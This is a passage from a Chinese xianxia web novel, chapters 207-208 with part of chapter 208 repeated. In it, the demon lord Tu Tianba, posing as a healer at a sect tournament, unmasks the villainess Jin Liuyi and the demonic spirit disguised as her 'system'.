“不知道为什么,我主动跟他说话,他却看起来很生气的样子,对我说‘师尊′不会喜欢这种廉价低贱的东西,然后就气冲冲地掉头走了。”“我做错什么了吗?” 进了屋,屠天霸挠挠脸,不明所以地道了声,“对了,他走得太快了,还没跟我说他叫什么呢。” 屠天霸思路清晰:虽然他已经通过书册知道那人叫顾宸,但没说就是没说。 这可是两码事! 怎么能对师公如此没有礼数呢! 屠天霸内心强烈谴责,表面却只是哈哈一笑,“不过没关系啦,他可能觉得我配不上你吧。” 最后,他又轻描淡写地吐出最后一句, “真羡慕他有你这么好的师傅。” “……” 聂无洄听到他这一番话,果然皱起了眉头——脸还是那么好,屠天霸却很无所谓地轻笑了一下,抢在他开口前,打断道:“那些正道开会不知道要多久,这里灵气充沛,我还有许多极品灵晶,你要不要继续修炼?” 聂无洄盯着他,许久不应。屠天霸又挠挠脸,歪着脑袋回看。 倏然间,聂无洄上身前倾,蹭了蹭他的额头,轻声道: "明修,我很喜欢你送给我的花,就像你呵护我送给你的绳结一般,还记得吗,我跟你说过……"屠天霸当即接过话头, "我记得的,心意不分贵贱嘛。"他自信地挺起胸膛,声音朗朗, "我们有情人的事情,我们自己说了才算,不需要外人置喙!" 话音刚落。 聂无洄点点头,“正是如此。” “只是顾宸如此待你,”他顿了顿,忽然话锋一转,又道,"下次他来灵兆峰,我便…… 屠天霸连忙打住话头,摆着手说: “这事你不必管,你要是说了他,岂不是显得我嘴碎小气,背地里说他小话?” “他是你徒弟嘛,我爱屋及乌,当然不会对他生气了,”他搂着聂无洄的腰往床上走去,“你也不要放在心上啦!”聂无洄顺应着屠天霸的力道,轻松被放倒,眉头仍旧微蹙着, “但是……”屠天霸的上身悬在聂无洄上空,他单手撑床,另一只手轻抚着男人的侧脸,指尖揉捏着他的耳根,逐渐移到下唇…… 再往下,是一截修长的颈子。 屠天霸的指尖挑开衣襟。 “没有但是。” 聂无洄凝视着少年脸上的表情——难得的什么表情都没有,宛如一块精雕细琢的晶石,冰冷透顶,偏偏那双眼眸倒映着自己的面容,好似一汪解冻湖水。他说, “这种时候,你只能想着我。” 聂无洄的呼吸滞了滞,忍不住抬起双臂环住他的脖颈,将他轻轻往下拉, “……岂敢不从。” 系统空间内。 白色光球看完了宿主一套丝滑的连环输出,然后对着马赛克光屏沉默片刻,忍不住夸赞了一声, “卧槽。”“还真给他学到精髓了。” 宿主人是癫了点,就像是时不时出问题的旧家电,但他的聪慧弥补了这一点! “…….” 另一头。 主峰,正殿内。 正道大会如火如荼地进行着,尤其是得知参加过仙门大比的弟子都有可能被种下心魔之后,众人的脸色坏到了极点。近年以来,各门各派的堕魔弟子并不局限于参加过仙门大比的弟子,更多是修为浅薄的外门弟子,因此没有掀起太大的风浪。各门派也不会将此事外传,而是关起门来解决。但事情的性质已经变了。 要知道,当年前去参加仙门大比的弟子都是各门派中极有潜力的弟子,是正道下一代的翘楚。后果不可为不严重。 玄虚派灭门之事,就是最好的例子! 良久,终于有人开口道: “那魔修如何隐匿行踪,给他人种下心魔手段如今都暂不明朗,实在棘手。” “我派有两位堕魔弟子被捉回,整日神智不清,一句话都说不出来,满心的怨恨愤然,其他人则踪迹全无……”这些失踪弟子也是未解决的问题之一, 随即,有人点出重心,"唯独卫蓉恢复清明,摆脱了心魔控制。"话毕,殿内又是一阵沉默。 说来说去,似乎还是魔修更懂得魔修的手段。 只是众人对魔修顾虑甚深,跟化名伪装了的屠天霸两相无事还好,让他们求助于那人的话……谈论到最后,众人面面相觑,还是顾风籍沉吟片刻,做主传讯给灵兆峰,寻求破解之法。 “……” 收到传讯之时,聂无洄还未开始调息修炼。他推了推赖在自己身上,仿佛没骨头一般的屠天霸,轻声道: “正如你所言,掌门来信了。” 两人早前商量过此事,并不意外。 可屠天霸恍若未闻,仍旧枕着男人柔韧的大腿,面容沉凝地吟哦了一句, “醒掌天下权——” 说这话时,他的手在聂无洄的衣襟里。 聂无洄:“你先起来。”屠天霸不动,吟出下一句诗,“醉卧美人膝——” 聂无洄:“…” 聂无洄很淡定地揪住了少年的耳朵尖。 屠天霸横眉竖眼:“你干嘛…!” 聂无洄的指尖下移,搓了几下屠天霸的耳垂,触感软凉。 屠天霸:“嘿嘿。” 不多时。 两人一同出现在主峰正殿中,仿佛姗姗来迟的贵客,于万众瞩目中登场。 十分难得的——所有人的目光擦过了聂无洄,落到他身边的玄衣少年身上。 屠天霸仿若未觉。 他跟聂无洄一同落座,位置正好在掌门顾风籍一侧。他想了想,托着椅子往聂无洄身边靠近些许,随手就能揪到男人的衣袖。这一番动作落到众人眼中,沉默。 " " 屠天霸倒是很新奇。 他还是第一次跟这么多正道人士坐在一块儿,还没有听到对面骂自己魔头,也没有动起手,便清了清嗓,主动道: "听说你们觉得我医术好,想让我医治你们的门下弟子?" 出自妙仙宗的药澜:“….…” 屠天霸笑呵呵,自我肯定道:“我医术确实很好,不行你们问那个谁,啊…那个卫蓉,试了都说好!” 他嬉皮笑脸,装疯卖傻,一有人隐晦提起戮天宗等问题,他就‘哦咦?你们在说什么?我不知道诶?我一个医术高超的小医修能知道什么?'',眼神清澈极了。在场众人:“……” 隐去一身霸道阴森的魔息之后,众人才发现此人的面容尤其稚嫩,言行举止透着一股清澈的愚蠢。 ……难不成,是刻意表现出来,让人放松警惕的伪装? 但不得不说,他这番做派反而让在场众人暗暗松了一口气。 当年屠天霸横空出世,游历神州大地的那十年跟正道结下的旧怨不少,一笔笔都算不清楚。 好在后来的三百年间,他鲜少出世,踪迹只出没在各大秘境,否则正道宗门不会在玄虚派之后,才协商着围剿戮天宗之事。今日这场正道大会,众人得知玄虚派一事跟屠天霸没有关系,而且他与魔鼎息息相关,个人生死甚至影响着整个世界…. 斗又斗不得,两方还有旧怨。 听他满口插科打诨,众人沉默片刻,也配合着,很快便商定了让当年参加过仙门大比的弟子前来归清门,请他‘诊治’一番。其他的事情屠天霸不感兴趣,一下子弹跳起来,拉着聂无洄走人了。聂无洄也任由他反手牵着自己往外走。殿内的众人暗暗心惊,说不出话来。 出了正殿,聂无洄用力地握了握少年的手掌,“辛苦你了,我知道你不在乎正道魔道,向来率性而为,眼下你是为了我……”屠天霸回头看了他一眼, "也不全是啦。" 他侧着脸,脑袋微低,上半张脸被阴影笼罩,嘴角划出阴鸷的弧度, “桀桀桀——他们的表情好好笑,尤其是那个妙仙宗的凶巴女人——” 屠天霸确实从来没有感到委屈过。 毕竟他都是当场反杀。 上一秒生的气,绝不会留到下一秒。 ……但,这话就不必说了。 聂无洄笑了笑,知道他的怪笑和怪话都是为了宽自己的心,又道:“你看……你没有自己说得那样不堪,也没有给我带来任何不便。”屠天霸也笑了一下,点点头:“嗯。” 耳边,是心魔的冷笑, “你们二人都心知肚明,正道如今确实不会继续围剿你,但那也只是因为你是炼魂鼎的一道枷锁!” “你以为他们真拿你当医修看待?” “那是他们忌惮你,苦于杀不了你!” “你敢不敢告诉聂无洄,告诉那些正道修士——在天雷劫之后,你与炼魂鼎的融合愈发深切,只要你死了,炼魂鼎内的上古魔物怨气也会一同消亡?!”心魔的笑声愈发张狂, "哈哈哈,你不敢吧!" “你怕心系天下安宁的无洄仙君不会选择你,倘若如此,你会感到生不如死,比过去更甚,千倍!万倍!”屠天霸的表情丝毫未变,只是手指蜷了蜷,并没有引起聂无洄的注意。 手痒。 想扇巴掌了。 与此同时,屠天霸也知道…… 心魔说得对。 他就是不想让聂无洄知道这件事,不是因为怕死,而是怕未来有一天,聂无洄真的没有选择自己。 不知道为什么。 屠天霸总觉得…… 这件事似乎已经发生过了。 207、Chapter 207 此后的小半个月,归清门异常热闹。 另一头。 金柳衣在系统的帮助下,从黑海海底取得九幽忆煞镜,顺利离开浮空岛之后,便得知了一个消息—— 归清门要重办一场仙门大比。 各门派积极响应,已携大量弟子前往归清门。 聂无洄都为此出关,有心指点一番。 除此之外,金柳衣没能探听到有关正道围剿魔尊屠天霸,或其他事关仙魔斗争的消息。 金柳衣思忖片刻,在心中无声道:“系统,不对劲……这种时候,归清门怎么可能重办仙门大比?” "一来,他们将妙仙宗置于何地?" “二来么……” 这就跟金柳衣有些关系了。 由于当初只有她撞见了魔尊伪装后的真实面容,因此金柳衣在散布消息的时候,并没有直接描述出屠天霸的外貌,而是说了一些指代性很强的形容。只要正道宗门顺着线去查探,很容易将目标锁定在化名为‘屠医修′的少年身上。 以她的了解,屠天霸性格火爆耿直,容不得他人废话,听正道修士质问自己,绝无可能心平气和地坐下来交流…… 只要打起来,场面就收不住。 金柳衣便能渔翁得利。 恶役炮灰逆袭系统''回答得很快, “宿主,此世界的天命之子已出关,这件事对新一轮仙魔大战极为不利。” 闻言,金柳衣有些不快: “这我当然知道!” 系统的声音平铺直叙,继续道: “经过本系统推测,各宗门极有可能已经发现了魔尊屠天霸的身份,引而不发,以仙门大比之名掩盖围剿行动……. “意在松懈魔尊的防备。” “这是宿主浑水摸鱼的大好时机,建议宿主混入‘碧霄坊′的弟子中,尽快赶往归清门,趁机使用道具,解放魔尊体内的上古魔气。”此时此刻。 金柳衣正停留在一个名为金蚕岛的海岛上,距离黑海有数千里,气候变幻莫测,远不如妙仙宗周遭的城镇繁荣宜居。 金蚕岛上,有个叫做‘碧霄坊′的门派世代坐落于此。 据说,这个门派的创始人是上古大能的遗留血脉,在此看守黑海,庇佑着当时因人间战事而逃亡到此处的流民。 久而久之,碧霄坊问世。 尽管有系统的辅助,金柳衣出入黑海还是废了大功夫,听到系统如此分析,她有些迟疑, “要是屠天霸不在归清门呢?” “聂无洄在那里坐镇,要是我的身份败露了,岂不是白白送死?他的不驯剑下可不缺魔修亡魂。” 很快。 系统无机质的声音又响起, “宿主请放心。” “您之前给不少正道弟子种下心魔,积攒的积分足以兑换一次高级伪装技能,无人能看破你的身份。”“就算魔尊屠天霸不在归清门,宿主还能趁机给更多正道弟子种下心魔,赚取更多积分,提升自身实力…….”“此乃两全之策,系统一定会尽全力辅助宿主完成任务的。” 金柳衣听完,觉得有些道理。 说到积分,她心念一动,问道:“之前我给无相老祖他们兑换过一次性的[低阶炼魂魔功],现在积分还剩多少?”炮灰逆袭系统报出一个数字。 金柳衣听完,皱起眉头,"不对,玄虚派那个女弟子的积分,你怎么没有给我算上去?" 她心想:那个女人难抵心中恶念,魔种早早破土而出,绝不可能寄生失败。 毕竟,玄虚派都没了。 系统顿了顿,应道: “没有算错。” "本系统没有获得该寄生体的积分,经检测,她体内的心魔种已消亡。" 魔种并非自然消亡,而是被与自己同宗同源的力量炼化…… 只是这些话,它就不必同金柳衣说了。 金柳衣没有太奇怪。 毕竟此前也有这种情况。 随着寄生体的死亡,心魔种亦会消亡。 或者,被魔种寄生的弟子成功压制了自己的恶念,未使魔种破土而出,此类情况也会导致金柳衣无法获得积分。她冷着脸,啐道:“真是白费功夫!”殊不知,与她神魂绑定,伪装成‘恶役炮灰逆袭系统′的存在也正暗暗愤恨狂怒。它并非系统。 准确来说,它是炼魂鼎内逃离的一缕上古魔气意识。 三年前的那场天雷劫中,屠天霸受到刺激,神魂动荡之际,被不知名力量侵入,于是它趁乱出逃……跟那股不知名力量的短暂交汇间, 它窥探到了些许残缺信息,顺势将自己伪装成名为‘系统’的存在,就近隐藏在金柳衣体内。 当然了。金柳衣亦是它诱惑而来。 其真实目的,是利用这个魔修,摧毁屠天霸的个人意识,达成数万年的怨念。 即:让魔气充斥天地,魔涨道消! 至于这个愚蠢的‘宿主''下场如何? 与它有何关系? 它只知道,自己与屠天霸同宗同源,能感知到它的大致方位—— 不出意外的话,正是归清门。 所以,无论正道宗门是否找出屠天霸改头换面后的身份,金柳衣都不会白跑一趟。而它….一定会好好辅助这个宿主的。 黑海海底万分艰险,怎好让她白忙活一趟呢? 毕竟宿主这么努力,给正道弟子种了那么多心魔种,只要魔种成熟,它就能炼化那些正道弟子,提升自己的实力。 因此,才有了‘积分兑换道具′一说。 另外,正道宗门永远都不可能找到那些失踪的堕魔弟子。 因为他们已经成为了它的滋养肥料,皮囊与神魂都消化得一干二净了。 思及此处。 炮灰逆袭系统模拟出无机质的声音,催促道:“宿主什么时候动身?碧霄坊距离归清门甚远,她们已经提前出发了。” "….…" 在金柳衣携魔兵赶往归清门之时,许多门派已经先一步抵达,并前往专门地点,进行仙门大比的登记。 主峰,迎客门。 青玉石板铺成的广场很大,宛如碧波荡漾的海面,四角有盘龙玉柱,龙首源源不断吐出乳白色的灵雾。屠天霸环视一圈周遭的景象,总觉得似曾相识,忍不住笑吟吟地道了声, “不过这个广场,是比妙仙宗的小广场气派多了哈……. 他抬眼看了看站在桌前的男人,慢悠悠地补充道:"哦,差点忘了,还是有些不同的。当时你坐在桌后,我站在阵中,你对我有所怀疑,背地里结了杀魔阵。" 徐阙:“……” 广场中央。 屠天霸坐在报名处的长桌案后头。 徐阙站在桌前头。 两人一坐一站,四目相对。 屠天霸很恰当地吟哦道:“噫吁喊,真是风水轮流转…” 闻言,徐阙的眉梢重重一跳。 作为那日正道大会的参与者之一,他知道这场仙门大比有两个目的。 其一,是为了掩饰屠天霸为正道弟子检验是否被种下心魔这件事,以免造成弟子恐慌。 其二,是为了诱惑不知所踪的金柳衣自投罗网,或其他前来使绊子的魔修。 正因如此,屠天霸必须担任一个能够接触所有人的职位。 当日,在少年的暗示明示下,以及出于各方面的考量,他的真实身份只有参与正道大会的那部分人知道。 对外,他只是归清门负责登记的弟子。 徐阙垂眸,盯着仪态懒散地坐在桌后的白衣少年,视线微移,瞥见对方刚才从袖中掏的小招牌—— 【医术很好,治不好不要钱】这个小招牌很简陋,是用几根指头粗的木头和一块粗布制成的,上面一行字写得有些歪,前头空隙很大,后头越来越挤。徐阙认真回想,从自己三年前的两次试探想起,到前不久的从天而降,破坏了河谷法阵,以及私下对无洄仙君传音等事例……他试图冷静。 下一秒。他听到了几声很快速的嘭嘭声,仿佛一连串轻快的鼓点。是屠天霸。 他眼睛亮晶晶地拍着桌子,招呼徐阙坐下,语气热情: “徐道友,来来来,我不止负责登记,还是个医术高超的医修,让我看看你有没有什么不治之症——” “你可不要讳疾忌医,万一上次的伤势没有好全,反而恶化成重伤,落得半身不遂什么的,到时候还怎么做断袖?”说完,他很憨厚地笑了两声。 徐阙:"………"徐阙冷静失败了。 他沉默片刻,有理有据地道:“我是跟你同路来的归清门,方才只是去山门口接个人,不曾踏出归清门半步……. 话毕,屠天霸用食指很不走心地挖了挖耳朵,又作势往他身后望一眼,“啊?我没看见人啊?” 说时迟,那时快。 徐阙听到了一阵熟悉的叮叮咣咣声响。 他一回头,就见符悦声从他身后探出脑袋,看清桌后的白衣少年后,脸上的表情忽然变得很雀跃, “屠道友,是你呀?!” “太好了,你加入归清门了吗?幸好你没事,不然我于心难安……”屠天霸动作一顿,瞥了眼对面挂满配饰的青年,发现他脸上的喜悦是真,语气里的激动也是真。这个人,好像是真的很高兴他当年没有死在荒境中。 屠天霸稍微坐正了一点。 符悦声看起来是个花孔雀,但他的嘴巴比孔雀厉害多了,叽叽喳喳不停歇,屠天霸都没找到气口。 他绕过徐阙,一屁股在桌前做登记,看到支在桌上的招牌后,很好奇地让屠天霸给自己看一看。 徐阙:“……” 屠天霸兴致缺缺地登记完,随意瞥了他两眼,说道:“虽然你有天生不足之症,但续命梭补全了这一点,你现在很健康,但最好还是不要生孩子了,伤身。”话音刚落。 符悦声的表情有些失落。 徐阙:“………” 到底在失落些什么啊!! 见他还想叽叽喳喳地说点别的,徐阙一把将他揪起来,推着他走了一段距离,才轻声道:“你最好…别跟这人靠太近。”符悦声很疑惑,反问: "啊?为什么?" 徐阙沉默片刻,挑挑拣拣地选了一部分能说的,“因为他很讨厌我,你又跟我走得近,免得人家厌屋及乌。”符悦声停住脚步,更疑惑了,“啊?他讨厌你吗?我倒觉得屠道友似乎还挺喜欢你的。”徐阙也停住脚步,常年不变的表情有些裂开,像是听到了什么让人难以置信的邪恶低语。符悦声读懂了他的表情,转身与他面对面,振振有词道:“我没有开玩笑,我是真的这么觉得…!”徐阙的神情一言难尽, “他喜欢我什么?他喜欢我老,喜欢我晦气,喜欢我‘走''得快?” 符悦声想了想,忽然笑了一下, “……喜欢逗你吧,挺好玩儿的。” 说完,符悦声站在广场边缘,远远地冲桌后的白衣少年挥了挥手,身上叮咣响。 徐阙不自觉地偏头看过去。 他们跟屠天霸隔了有一段距离,因此少年的身影有些模糊,在乳白色的灵雾中若隐若现。 稍等片刻。 徐阙看到少年缓慢抬起一只手臂,随便挥了一下,然后没骨头似的趴回了桌上,下半张脸埋进臂弯里,神色比灵雾更加飘渺。 符悦声自信道:“你看,他救过我,还对我如此友善,怎么会讨厌我呢?” 徐阙:“……. 什么跟什么啊?他刚才说的好像是,屠天霸讨厌自己吧? 紧接着,符悦声双手抱着他的胳膊,将他的上臂举高,也晃了两下。 嗖的一下! 徐阙看到少年一下子坐直了身体,做了一个很熟悉的动作——食指与中指指了指自己的眼睛,然后反过来,远远指向徐阙。‘我会一直…一直盯着你…… 下一刻。符悦声笑他,“你的表情真好玩,我还是第一次见呢。”话音刚落。符悦声的表情一愣,神情忽然变得严肃起来,轻声道:“糟了!”徐阙的神情也随之一肃,“怎么了?”符悦声懊恼地说:“我忘记问屠道友他的道侣是谁了?是归清门的哪位仙长?我真的很想知道!”徐阙的视线飘往灵兆峰的方向。那位啊…… 想必这几日都在调息修炼吧? 徐阙思忖着,忍不住又回头看了一眼偌大广场中心的少年,只捕捉到对方迅速转回脑袋的残影。 “….….屠天霸觉得自己的耳朵不干净了。他的五感异常又灵敏,别说能清晰听到符悦声跟徐阙的对话,就连他们的心内传音都无所遁形。所以,他听到那个符悦声说自己喜欢那个晦气老断袖。 恶心,恶心啊!! 我脏了! 我被人凭空污了清白! 屠天霸歪歪扭扭地坐在桌前,整张脸都埋进了胳膊肘里,面庞微热。 看吧!他都被恶心坏了!! 好在这个时辰没什么人出入归清门,能让屠天霸独自冷静,直到他恢复喜怒不形于色的丈夫本色。 约莫过了两个时辰。 屠天霸忽然感应到山门法阵进了一小队人,紧接着,桌上便凭空出现一张灵气化形的帖子,上头赫然写着—— 【金蚕岛,碧霄坊】 208、Chapter 208 山门外,天空映出虹光。 流云化作琉璃色的浪,托着一艘带着龟甲纹路的巨舟破空而来。 立在船首的女子身着鲛绡制成的浅蓝色衣袍,在风中飘逸如烟,腰间的铃发出宛如潮汐涨落的嗡鸣。 下一瞬。 巨舟悄然消失。 舟中人落到山门前的石阶上。 见状,顾宸偕同另两位弟子迎上去,冲为首的修士打了个招呼, “萧道友。” 闻言,萧映清点了点头,冷然的脸上露出一抹笑容,应道: “顾道友,上次仙门大比一别,没想到这么快又见面了,这一回,你可不会那么轻易获得优胜了。” 作为那场正道大会的参与者之一,以及归清门这一代弟子之首——尽管顾宸半道离了场,但他对这场‘仙门大比''的真实情况心知肚明,还主动请缨来到山门外迎客。当然了。 他不愿留在门内,还有另一个原因。 为了那个‘原因’,近半个月以来,顾宸奔忙于招待各宗门弟子,以及配合万法宗门人暗中布下重重法阵…… 正因如此,这段时间他不曾前往灵兆峰拜见师尊。 顾宸微微恍神。 ……或许他只是不想听到某个消息由师尊亲口说出,传进自己的耳朵里。 思绪回笼。 顾宸脸上的笑不捉痕迹地敛了敛,语气却仍旧温文客气,“有幸能再次领教碧霄坊的功法,顾宸岂敢掉以轻心?” 接着,两队人又寒暄了几句。 顾宸身后的一位弟子适时上前一步,为几人带路,引她们前往广场登记信息,领取玉牌。两方擦肩而过之际,碧霄坊队伍最末的一位女弟子陡然撞到了顾宸的臂弯。顾宸下意识地瞥过去。那名女修士也回了头,簪在发间的珠串在半空中划出一道银白的残影。她歪头冲顾宸抿唇而笑,眸光如幼鹿一般清澈,眉眼间带了些歉意。可顾宸听着她轻软的笑声,总觉得尾音带了点蜜糖拉丝般的绵,莫名透出几分妩媚的意味。 "系统,果然有收获。" 伪装成碧霄坊最年幼弟子的金柳衣收回了视线,心里的讥讽笑声却收不住, “真是没想到,上一回仙门大比的首位竟也恶念难抑,滋养着魔种,如今心魔已经破土而出,只会越长越快.…!”系统回答得很快, "待他敌不过心魔诱惑,犯下错事,宿主就能收获双倍积分了,恭喜宿主。" 金柳衣在心中哼笑着应道:“毕竟只要是人就难逃七情六欲,修仙者亦是如此,魔修百无禁忌,正道却秉承着克己慎行的为人处事,压抑自身……” “堕魔,不过是时间问题。” “宿主说得是。” 然而,数息之后。 金柳衣的好心情戛然而止。 按理来说,她在半途中替代碧霄坊其中一名弟子的身份,混入归清门,其主要目的正是系统所催促的—— 利用‘九幽忆煞镜’对付魔尊屠天霸。 可当她随众人来到广场中央,瞥见坐在桌后的白衣少年之后,金柳衣的心脏还是剧烈地跳了两下,仿佛对那人的恐惧已刻入神魂深处。 金柳衣的步子微顿,表情勉强维持着原先的轻快甜美,心中却惊惧交加, “那些正道是废物吗?” “居然真叫屠天霸混入其中了?!” 伪装成‘恶役炮灰逆袭系统’的上古魔物意识也有些紧张,但更多的是激动,以及对自由的渴望。 因此,它的语气终于有了波澜, "宿主不必担心,你还没有暴露!" “上次在荒境中,屠天霸让你离开便是不想杀你,期间你们从未有过交集,他自然不会怀疑到你了….” 它稍一停顿,强调道: “更何况,宿主手中还掌握着‘九幽忆煞镜′,只要抢在屠天霸之前动手,他又能耐你何?!”听到这里,金柳衣的心跳才稍稍平稳。 “…….” 好吵。待碧霄坊中的最后一人来到桌前登记信息,屠天霸轻飘飘地瞥了她一眼,手上动作不停,还状似随意地道了声,“你有点吵哦。” 闻言,绾着双螺髻,发间缠着珊瑚珠的少女的眉头轻轻一跳。 这个表情很快被掩饰下去。 随即,她疑惑地指了指自己,忍不住发出几声银铃般的笑声,酒窝漾动,脸颊透出淡粉色的光泽。少女语气天真,很奇怪地道:“我方才分明没有说话呀……?”屠天霸的脸上什么表情都没有,眼神里却透出几分嫌弃,他上身微微后仰,“我的意思是,你的心跳声很吵。”碧霄坊的其他人等在一边,听见两位容貌稍显稚嫩的少年你一句我一句地说话,并不打扰。屠天霸等了几息,肯定地点点头, “现在更吵了。” 说完,他很无所谓地将录入了灵气与身份信息的玉牌递给少女,像赶苍蝇一样地挥了挥手, “好了,你可以走了。” 金柳衣接过玉牌,迅速将其收起,额角的冷汗都要掉出来了。 幸好她背身对着碧霄坊的几人,否则被她们看到方才少年递过来的玉牌上写着‘金柳衣’三个字…… 金柳衣连忙露出一抹讨好的笑容。 屠天霸也笑了一下。 他坐在椅子上,双手往后抱着脑袋,整个人一晃一晃的,很悠闲地望着少女随着师姐们离开,完全没有给正道传讯的意思。倏然间,他听到机智心魔发问, “宿主,那个顾风籍不是让你发现魔修或者有堕魔倾向的弟子,先按下不表,等人走了再传讯给他吗?”“你明明认出来了,那是金柳衣吧!”“之前发现的那几个正道弟子,你都老实传讯了诶,难不成你要搞背刺?主角会生气的吧?” 听到心魔提到聂无洄,屠天霸的动作一顿,无声应道:“怎么可能?在我眼里,她已经是个死人了!” “那是……?” 屠天霸起身,伸了个大大的懒腰,杏眼微微上挑,眸中闪烁着莫名的思绪, “有点好奇她身上发生了什么事,十有八九跟我有关系…” “但是我不记得了。” 入夜。 金柳衣顺着玉牌的提示,悄无声息地来到归清门的一处小山峰,看石碑标识,大概是归清门外门弟子的练武场。 此时间,场内寂静。 月华微凉,如河水般流淌而下,裹了场中央的少年满身,让他的背影看上去凭空多了几分柔和。 但金柳衣知道,那是错觉。 尽管已经有了系统辅助,她的实力亦是今非昔比,但她仍旧感到了一阵难以抵挡的惶恐。 有的人就是这样—— 他光是站在那里,就叫人心慌。 听着系统在她耳边询问难不成你想永远当一个炮灰吗,金柳衣的手抚过腰间的一件饰品,咬牙上前。 "尊…屠先生,您唤我来何事?" 屠天霸转身,回头,一双乌黑的眼眸直直落在金柳衣身上,“有点事想要跟你确认一下。” 金柳衣低眉顺眼:“敢问何事?属下必定如实应答。” 屠天霸哦了一声,"那你告诉我,当年我在渡天雷劫的时候,你还看到了什么?" 话音刚落。 炮灰逆袭系统忽然察觉不对,语调急促地在她耳边吼道:“快驱使九幽忆煞镜,慢一刻,你就要死!!”闻言,金柳衣一把握住用银链挂在腰间的圆形饰物,那东西瞬息间变幻为两个手掌大小的铜镜,然而下一瞬身前已无人影。 紧接着,她就听到屠天霸的声音从身后传来,那人哼哼两声,语气得意且从容, “我就知道你不会告诉我。” “还好我早就决定要自己看了。” 话音未落,屠天霸的手已经搭在少女的头顶,动作轻巧,可金柳衣却感受到一股灭顶的悚然! 更加让人心惊的是, 她听到,那个声称要帮助自己逆天改命的炮灰逆袭系统气急败坏地骂道: “废物!我只需要你用镜子照一下屠天霸,你竟还能失手?!早知道当初就不寄生在你身上了,要死你就一个人死吧!” “恕不奉陪!” 还好之前炼化了近百名正道弟子,它实力恢复了一二,足以隐匿气息;还好附近就有身怀心魔种的寄生者! 它可不是低阶的魔种,遇到屠天霸便只能任其炼化! "….…" 在一阵仿佛神魂被阴火熔炼的极致痛处中,金柳衣只觉得有什么东西飞快地离开了自己的身体,而她的记忆犹如死物,被身后之人翻来翻去——片刻后。 屠天霸收回手,任由她昏迷倒地,表情有点古怪地摸了摸下巴,问道: “心魔,你之前说自己的称号是‘前夫哥扮演系统’是吧?”系统空间内。 白色光球忽然听到这句,愣了一下才应道:“对啊,但是宿主不是从来都不喊我系统吗?你都喊我心魔的。” 屠天霸点点头,继续问: “金柳衣的心魔说它叫‘恶役炮灰逆袭系统'',听起来跟你好像……”话音刚落。 N001噌一下从光饼复原成光球,无机质的电子音波澜起伏, “卧槽!哪来的山寨系统!”“是心魔,一定是心魔!!” 屠天霸点头道:“确实是心魔。” 他完整地翻看了一遍金柳衣近十年的记忆始末,终于明白三年前天雷劫那天,究竟发生了什么。 不仅如此,他还知晓了… 金柳衣通过心魔所获得的残缺书页。 上面记录了金柳衣的未来之事,字里行间表露出,仙魔两道正在厮杀。 以及,聂无洄是天命之子。 他闭了闭眼,脑中浮现金柳衣的第三视角,仿佛亲眼瞧见白衣男人替自己迎击天雷劫,却被疯癫状态的自己一掌拍飞,继而被雷鞭劈中的身影。……应该很痛吧。 屠天霸忽然很想见聂无洄。 他思忖片刻,将已经恢复原貌的金柳衣绑了,绳结的末端仍旧是工整又精致的蝴蝶结。 随即,他将地上的圆弧形铜镜捡起,收入袖中,一个遁身便往灵兆峰飞去。 木屋外。 屠天霸将‘赔罪礼物′放到门外,然后轻手轻脚地推门而入。 聂无洄仍在调息修炼,身边叠满了灵石灵晶,修为几乎恢复至大乘期。 两人同吃同住了三年,聂无洄熟悉他的气息,在屠天霸有心隐匿的情况下,并不会警惕他的靠近。 屠天霸蹲在床边,凝视着男人闭目沉静的面容,在心中无声道: “系统。” “你给我的书册并不是完整版吧?我要看后面的故事。” “——就现在。” 208、Chapter 208 山门外,天空映出虹光。 流云化作琉璃色的浪,托着一艘带着龟甲纹路的巨舟破空而来。 立在船首的女子身着鲛绡制成的浅蓝色衣袍,在风中飘逸如烟,腰间的铃发出宛如潮汐涨落的嗡鸣。 下一瞬。 巨舟悄然消失。 舟中人落到山门前的石阶上。 见状,顾宸偕同另两位弟子迎上去,冲为首的修士打了个招呼, “萧道友。” 闻言,萧映清点了点头,冷然的脸上露出一抹笑容,应道: “顾道友,上次仙门大比一别,没想到这么快又见面了,这一回,你可不会那么轻易获得优胜了。” 作为那场正道大会的参与者之一,以及归清门这一代弟子之首——尽管顾宸半道离了场,但他对这场‘仙门大比''的真实情况心知肚明,还主动请缨来到山门外迎客。当然了。 他不愿留在门内,还有另一个原因。 为了那个‘原因,近半个月以来,顾宸奔忙于招待各宗门弟子,以及配合万法宗门人暗中布下重重法阵…… 正因如此,这段时间他不曾前往灵兆峰拜见师尊。 顾宸微微恍神。 ……或许他只是不想听到某个消息由师尊亲口说出,传进自己的耳朵里。 思绪回笼。 顾宸脸上的笑不捉痕迹地敛了敛,语气却仍旧温文客气,“有幸能再次领教碧霄坊的功法,顾宸岂敢掉以轻心?” 接着,两队人又寒暄了几句。 顾宸身后的一位弟子适时上前一步,为几人带路,引她们前往广场登记信息,领取玉牌。 两方擦肩而过之际,碧霄坊队伍最末的一位女弟子陡然撞到了顾宸的臂弯。 顾宸下意识地瞥过去。 那名女修士也回了头,簪在发间的珠串在半空中划出一道银白的残影。 她歪头冲顾宸抿唇而笑,眸光如幼鹿一般清澈,眉眼间带了些歉意。 可顾宸听着她轻软的笑声,总觉得尾音带了点蜜糖拉丝般的绵,莫名透出几分妩媚的意味。 “系统,果然有收获。” 伪装成碧霄坊最年幼弟子的金柳衣收回了视线,心里的讥讽笑声却收不住, “真是没想到,上一回仙门大比的首位竟也恶念难抑,滋养着魔种,如今心魔已经破土而出,只会越长越快…!” 系统回答得很快, “待他敌不过心魔诱惑,犯下错事,宿主就能收获双倍积分了,恭喜宿主。” 金柳衣在心中哼笑着应道:“毕竟只要是人就难逃七情六欲,修仙者亦是如此,魔修百无禁忌,正道却秉承着克己慎行的为人处事,压抑自身” “堕魔,不过是时间问题。” “宿主说得是。” 然而,数息之后。 金柳衣的好心情戛然而止。 按理来说,她在半途中替代碧霄坊其中一名弟子的身份,混入归清门,其主要目的正是系统所催促的— 利用‘九幽忆煞镜’对付魔尊屠天霸。 可当她随众人来到广场中央,瞥见坐在桌后的白衣少年之后,金柳衣的心脏还是剧烈地跳了两下,仿佛对那人的恐惧已刻入神魂深处。 金柳衣的步子微顿,表情勉强维持着原先的轻快甜美,心中却惊惧交加, “那些正道是废物吗?” “居然真叫屠天霸混入其中了?!” 伪装成‘恶役炮灰逆袭系统’的上古魔物意识也有些紧张,但更多的是激动,以及对自由的渴望。 因此,它的语气终于有了波澜, “宿主不必担心,你还没有暴露!” “上次在荒境中,屠天霸让你离开便是不想杀你,期间你们从未有过交集,他自然不会怀疑到你了……” 它稍一停顿,强调道: 